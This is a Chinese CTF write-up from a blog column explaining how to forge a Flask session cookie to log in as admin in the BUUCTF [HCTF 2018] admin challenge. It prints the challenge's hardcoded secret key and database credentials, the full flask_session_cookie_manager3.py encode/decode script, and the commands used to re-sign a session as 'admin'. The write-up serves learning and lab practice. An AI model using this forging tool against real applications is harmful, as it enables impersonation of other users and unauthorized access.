前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Flask之session伪造

Flask之session伪造

作者头像
TenG
发布2021-12-07 17:15:24
1.1K0
发布2021-12-07 17:15:24
举报
文章被收录于专栏:网安菜鸟成长记

前言

本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章

正文

本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争。但是由于本篇文章主要讲解flask session伪造,所以就不再讲另外两种方法啦。

在这里插入图片描述
在这里插入图片描述

因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了,不过ciscn的那个题在注册那里多了一个md5截断爆破,既然这里没有就直接注册。

在这里插入图片描述
在这里插入图片描述

可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入,试过以后都不行,看了其他师傅的文章才知道是session伪造。 在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造的漏洞,从而达到冒充其他用户的目的。

在这里插入图片描述
在这里插入图片描述

可以看到在更改密码的页面源码里面有GitHub的项目地址

在这里插入图片描述
在这里插入图片描述

这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行,还是看了其他师傅的文章才找到了flask用来签名的secret_key,就在config.py文件里面

代码语言:javascript
复制
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的

在这里插入图片描述
在这里插入图片描述

就是response响应包的session值,然后我们就开始解密,加密解密脚本可以直接从github上面下载,但是有时候github国内访问不了,我这里也在放一下

代码语言:javascript
复制
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。

脚本使用方法 解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值” 加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

在这里插入图片描述
在这里插入图片描述

可以看到session已经解密为明文了,下面就让解密后的session值复制下来,让用户名改为admin就可以了,再进行加密之后替换掉原来的session值就可以了

在这里插入图片描述
在这里插入图片描述

在加密的时候让用户名teng替换为了admin,然后直接在浏览器中修改一下session值就可以了,也可用bp抓包修改

在这里插入图片描述
在这里插入图片描述

修改过后刷新一下页面就可以啦

在这里插入图片描述
在这里插入图片描述

可以看到现在已经是admin用户了,并且flag也出来, 另外两种方法就不在这里写了,感兴趣的师傅可以看前面放的参考的师傅文章链接。

结语

通过这次ciscn又充分认识到自己的技术还是太菜,记录这次做题经历呢也是想更充分了解其中的原理,从而也可以思考一下真实环境下的安全隐患。本文中个人见解错误的地方还请师傅们帮忙指正。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021/05/22 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
  • 结语
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档